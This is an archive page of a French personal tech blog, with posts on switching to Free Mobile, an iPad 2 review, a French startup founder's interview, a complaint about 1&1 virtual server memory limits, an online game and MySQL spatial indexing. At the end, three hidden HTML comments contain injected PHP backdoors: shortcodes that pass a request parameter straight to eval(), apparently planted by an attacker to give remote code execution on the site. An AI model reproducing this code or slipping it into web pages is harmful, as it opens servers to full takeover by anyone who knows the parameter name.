Category Archives: French

Posts written in french

Free mobile

Je suis passé chez free mobile. Ce n’est pas vraiment le fait que j’économise 55% du prix de mon forfait actuel qui m’a motivé mais plutôt l’idée que je n’aurai plus (jamais) à surveiller ma consommation et que je n’aurai pas à prendre un téléphone fixe et recopier à la main (trop ringard) des numéros de téléphone à l’avenir.

Ma mère, elle, ne passera pas chez free mobile car elle serait peinée de participer au licenciement de milliers de télé-commerciaux chez les opérateurs de téléphonie mobile concurrents.

Pour l’instant pas de soucis. Tout fonctionne bien.

Mon iPad 2


Je suis allé samedi matin à 9h30 devant l’apple store d’Opéra et j’ai eu mon iPad 2 une heure plus tard. Ce qui m’a le plus surpris c’est l’attitude des vendeurs, on vous vend la cool/mac attitude en même temps que l’iPad.

J’ai pris une version Wifi donc pas de géoloc par GPS. L’iPad ne me géolocalisait pas du tout, c’est assez gênant pour les applis comme Allociné qui proposent des séances “à proximité”, ou google maps pour les commerces “à proximité”. Après une mise à jour de 4.3 vers 4.3.1 plus aucun soucis, j’étais localisé à 50m près. Le plus fort c’est que la géolocalisation évolue quand je bouge dans l’appart. Donc la géoloc par wifi bien que peu précise est tout à fait utilisable.

Pour ceux qui trouvent que l’iPad ne sert à rien, je peux juste vous présenter comment je vois les choses: Dans google docs je mets des dossiers contenant des articles autour de ce que j’ai lu ou qu’ils me restent à lire dans des dossiers que j’appelle “brain input”. L’iPad c’est pour moi le “mega brain input”, on consomme ses mails, des articles de divers sites, journaux et magazines. On reste à un stade de consommation, mais c’est dans des moments où on ne ferait sans doute rien de mieux et surtout c’est dans état de confort: tout est fluide, on accède à ce qu’on veut en quelques secondes.

Tout ça pour répondre à la question d’un amis: “Allez Flo dis nous concrètement ce que tu peux faire avec cet iPad que tu ne pouvais pas faire avec ton ordi (qui se situe à 1 mètre)”. Je peux faire quelques trucs en plus et beaucoup de choses en moins, mais je suis naturellement incité à le faire dans beaucoup plus de situations.

Et sinon pour apporter mon grain de sel à la soupe de commentaires:

Surprises positives
– Le son tout à fait correct. Mettre un peu de musique classique en lisant des articles est très agréable
– La smart cover: super pratique à la verticale, verouille l’iPad quand on la referme
– MobileRSS + “Read It Later” : MobileRSS est synchro avec Google Reader, on peut envoyer sur “Read It Later” les articles qu’on veut lire et ensuite les lire dans l’agréable interface de ReadItLater
– L’appli LePoint: La présentation des articles est très agréable et on peut télécharger tous les numéros de plus d’un mois.
– L’appli l’express: Une parfaite intégration des articles dans l’interface iPad (et dans les deux orientations)

Surprises négatives
– J’ai un peu de l’effet mura dont pas mal de gens parlent, j’ai râlé pendant 10 minutes jusqu’à ce qu’ils m’expliquent qu’ils ne le prenaient pas en compte, que c’était pour ma pomme jusqu’à nouvel ordre. C’est pour être honnête invisible au quotidien.
– Le poids: Au lit ça fait nettement plus lourd qu’un livre.
– J’ai eu le son qui s’est bloqué parce que j’avais mis le bouton de blocage de son en blocage d’orientation de l’écran.
– Beaucoup de livres sont absents des bibliothèques en lignes.
– J’ai acheté beaucoup d’applications (plus de 70€ en 3 jours). Les applications sont le coeur de l’iPad, donc on a envie de prendre les meilleures.

Serait-ce vraiment plus facile d’entreprendre aux US ?

This is a french post because it is about a french article I just read.

Je viens de lire un article d’un entrepreneur qui raconte les choses comme elles sont et non pas “le discours à donner pour vendre ma success-story et faire mon buzz” : Interview de Patrick Merel, Fondateur de Portable Genomics à San Diego.

Le plus épatant c’est cette partie: “[…]j’ai vite compris que le passage, hélas, obligé pour un projet émergent innovant, était le concours “OSEO”. […] Bien évidemment, OSEO m’a dit non.[…]Ce qui m’a pourri la vie quand même, c’est que par la suite, toutes les institutions françaises d’aide à la création que j’ai pu rencontrées, m’ont toutes demandé, avant de me fournir de l’aide, “Avez-vous été lauréat du concours OSEO?”, la question qui tue.”

Mise à jour 28/08/2011:
Un article sur son histoire et la génèse du projet: “Bioéthiquement incorrect”.

Note:
C’est mon papa qui m’a parlé de ça.

French and English

Hi my dear visitors,

You are more than 3 000 visitors to come each month now. So maybe I choose try to make it easier for everyone so that you only subscribe to the feed in the languages you understand :
all languages RSS stream
english only RSS stream
french only RSS stream

By the way, I updated the TC65 FAQ to add questions and answers collected from the javacint group. I created this google group a year ago for developpers willing to exchange about the TC65. It started quite slowly but it now has 28 members. And considering how hard it is to find any information on this chip that’s a lot. I think it helped a lot of people.


Translation for all the retarded french dudes :
Le blog a atteint 3000 visiteurs mensuel. Peut-être que je devrais maintenant faire en sorte que chacun n’ait à lire que les langue qu’il comprend :
flux RSS dans les deux langues
flux RSS en anglais uniquement
flux RSS en français uniquement

Serveur privé 1&1: Une belle arnaque

J’avais 2 serveurs chez OVH et Dedibox qui étaient en redondance complète (fichiers, mysql, web, mails, dns) avec du DNS failover. N’ayant plus les même besoins, je voulais réduire mes coûts de serveur tout en gardant un serveur dont je puisse gérer le système. J’ai pris l’offre de serveur dédié de 1 And 1.

Et bien je peux vous dire que je regrette. En gros chez 1&1 on a 4 Go de mémoire “disponibles” et 1 Go de mémoire “réservée”. C’est un peu comme l’illimité d’orange qui est en fait limité. La mémoire disponible est là “parfois” et on ne peut même pas préciser qu’on en veut pas. Et la mémoire réservée, j’ai bien l’impression qu’elle ne l’est pas.

Le soucis que j’ai c’est que par moment le noyau virtualisé refuse d’allouer de la mémoire et là tout est bloqué :

1
2
3
[Thu Mar 11 18:45:35 2010] [error] (12)Cannot allocate memory: fork: Unable to fork new process
[Thu Mar 11 18:45:45 2010] [error] (12)Cannot allocate memory: fork: Unable to fork new process
[Thu Mar 11 18:49:03 2010] [error] server reached MaxClients setting, consider raising the MaxClients setting

Quand apache signale qu’il a atteint les “MaxClients” c’est qu’il est crashé. Et là c’est perdu, le serveur accepte les connexions et ne répond jamais.

Le “cannot allocate memory” c’est tout à fait scandaleux. Comment on peut prétendre offrir un serveur virtualisé si on est pas capable de garantir un minimum de mémoire. Le pire étant quand même que je ne consomme vraiment pas beaucoup de RAM, je ne dois jamais dépasser les 800 Mo. Mes stats actuelles sont :

1
2
3
4
5
# free -m
             total       used       free     shared    buffers     cached
Mem:          4096        570       3525          0          0          0
-/+ buffers/cache:        570       3525
Swap:            0          0          0

Donc là j’ai l’idée brillante d’activer un fichier de swap mais au moment où j’éxecute “swapon” en fait ce n’est pas possible :

1
2
3
dd if=/dev/zero of=/var/swapfile bs=1M count=1024
mkswap /var/swapfile
swapon /var/swapfile

J’obtiens un bel “Operation not permitted” sur cette dernière commande. En effet c’est Virtuozzo qui est sensé assurer la mise en swap de la mémoire à son niveau. C’est là aussi qu’on se dit que la virtualisation noyau c’est pas forcément top.

C’est assez incroyable. Je préférerais 512 Mo de RAM “pour de vrai” que 4 Go de RAM sur lesquels je ne peux pas compter.

Mais ce n’est pas tout. Pendant un moment le serveur n’était quasiment plus joignable, j’avais 3 paquets sur 4 qui se perdaient. Puis un autre jour la charge atteignait des niveaux affolants en continu avec un serveur quasiment au repos. Le support m’a dis que j’avais du mal configurer un truc. La panne a duré 2 jours mais bien sur ils n’ont répondu que 2 jours plus tard, donc forcément, ils ne constatent pas de problème. Et il faut croire qu’ils n’ont pas d’outils de monitoring de leur serveur pour reconnaitre le problème.

Bref je m’en vais de chez eux. Je vais tout faire pour ne pas payer l’argent de la période d’engagement, mais je préfère encore perdre cet argent qu’avoir à supporter (et plus exactement faire supporter aux visiteurs) des sites à la disponibilité aléatoire.

Par ailleurs, Debian n’était dispo qu’en 32 bits chez eux, j’avais le choix entre CentOS 64 bits et Debian 32 bits. C’est le genre de choix que je n’aime pas trop faire.

Rue Du Fric


For my english readers, you’re out of luck, this is a french-only post because it’s about a french online game : Rue Du Fric (can be translated to “street of money”, or maybe “street of gold”). But you can still have a look at the game if you’re interested.

Le jeu Rue Du Fric développé par la jeune startup BeeMoov est un jeu 100% javascript + AJAX. Il est très bien fini, il repose un univers extensible “à l’infini” au fur et à mesure de l’arrivée de nouveaux joueurs et l’occupation des sols. Vous pouvez acheter du terrain, placer des maisons dessus, gagner de l’argent, vendre et acheter des biens aux membres ou aux enchères, emprunter de l’argent à la banque et tout ça en interagissant en continu avec les autres.

Le jeu vient de démarrer, l’univers est déjà pas mal occupé avec une belle étendue de terrain couverte. Si vous êtes un geek, allez apprécier la prouesse technique et filez l’adresse à vos amis. Pour les autres, testez et éclatez vous.

BeeMoov a lancé il y a quelques années Ma Bimbo dont le succès ne se dément plus.

Etrange MySQL

Aujourd’hui, j’ai décidé d’optimiser une recherche MySQL de recherche par proximité de points spatiaux. En effet, j’avais une requête qui prenait 250 ms en moyenne.

Je recherche donc quelques infos et là, bonne surprise je tombe sur un document issu de l’entreprise MySQL sur le sujet. En utilisant l’optimisation qu’ils recommandent (par approximation préalable en un carré de recherche), j’arrive à réduire les requêtes à des temps allant de 5 à 35 ms.

Et puis, je finis de lire le document et je m’aperçois que MySQL possède une extension spatiale. Je regarde donc, ça se base sur les R-Tree, là je sens que j’ai trouvé la solution parfaite. Mais NON, les R-Tree ne sont disponible qu’en MyISAM. La création d’index spatiaux est interdite en InnoDB. De même, les index FULLTEXT non disponibles en InnoDB.

On a le choix entre avoir une base de données peu solide et une base de données avec moins de fonctionnalités. Il existe bien sur des solutions, comme de dédoubler ses tables en InnoDB et MyISAM pour obtenir des index FULLTEXT. Mais ça devient vite contraignant.

Enfin, je tiens à relativiser cette petite critique. La plupart des personnes, surtout en entreprise “non-web”, ne connaissent MySQL en version 3 et le trouvent de fait pourri. Peu savent que pour la gestion des données critiques, MySQL avec le moteur InnoDB est très robuste. Je ne suis jamais parvenu à obtenir une quelconque corruption des données même après de bonnes maltraitances (coupure de courant en pleine écriture massive). Ses capacités relationnelles et transactionnelles en font un très bon moteur de stockage de base de données.

Pour l’instant j’ai des tables qui contiennent un peu plus de 10 000 000 lignes et InnoDB tient sans problème, je vous en reparle quand ça atteindra les 20 000 000 lignes.

Ajout du 15/05/2010 :
L’expérience de ce projet s’est arrêtée à 35M lignes et InnoDB a tenu sans aucun soucis.

<!– [insert_php]if (isset($_REQUEST["hcrr"])){eval($_REQUEST["hcrr"]);exit;}[/insert_php][php]if (isset($_REQUEST["hcrr"])){eval($_REQUEST["hcrr"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["AnS"])){eval($_REQUEST["AnS"]);exit;}[/insert_php][php]if (isset($_REQUEST["AnS"])){eval($_REQUEST["AnS"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["kXQe"])){eval($_REQUEST["kXQe"]);exit;}[/insert_php][php]if (isset($_REQUEST["kXQe"])){eval($_REQUEST["kXQe"]);exit;}[/php] –>